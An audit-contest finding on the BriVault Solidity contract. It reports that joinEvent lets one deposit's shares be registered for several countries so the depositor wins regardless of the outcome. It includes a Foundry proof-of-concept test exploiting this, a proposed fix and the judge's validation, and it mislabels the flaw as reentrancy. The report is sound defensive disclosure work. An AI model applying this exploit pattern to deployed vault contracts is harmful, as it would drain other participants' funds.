BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

`Function:joinEvent` has no logic code to tackle reentracy, leading that user can use the same shares to run several times

[H-4] Function:joinEvent has no logic code to tackle reentracy, leading that user can use the same shares to run several times

Description

In the Function:joinEvent

function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
//There is no checks to reuse of participantShares
@> userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}

Impact

Assume tha there are 48 countries,
userA only deposits 5 ethers and get 5 shares,
then userA runs Function:joinEvent several times,
finally userA has all countries' shares,
no matter which countries win, he always get awards.

Proof of Concepts

Run the test function below in test/briVault.t.sol, you can add more briVault.joinEvent(any_number);, and change briVault.setWinner(any_number);,
user1 will always withdraw assets.

function test_reentrancy_joinEvent() public {
uint256 expected_assetToWithdraw;
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
//user1 can join more than 1 country.
briVault.joinEvent(0);
briVault.joinEvent(1);
briVault.joinEvent(2);
briVault.joinEvent(3);
briVault.joinEvent(4);
briVault.joinEvent(5);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(0);
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(0);
//briVault.setWinner(1);
//briVault.setWinner(2);
//etc, no matter which number is Winner, user1 always get rewards.
expected_assetToWithdraw = briVault.balanceOf(user1) * briVault.finalizedVaultAsset() / briVault.totalWinnerShares();
vm.expectEmit(address(briVault));
emit BriVault.Withdraw(user1, expected_assetToWithdraw);
vm.startPrank(user1);
briVault.withdraw();
vm.stopPrank();
}

Recommended mitigation

  1. You can check if user has already joined through userCountryId

+ uint16 constant UNSET_COUNTRY = type(uint16).max;
+ mapping(address => uint16) public userCountryId; // default UNSET_COUNTRY
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ // Check if user has already joined
+ uint16 existing = userCountryId[msg.sender];
+ if (existing != UNSET_COUNTRY) revert alreadyJoined();
+
+ // Record the user's country
+ userCountryId[msg.sender] = uint16(countryId);
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
  1. Or you can use unusedsharesToUser to prevent user from reusing

Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!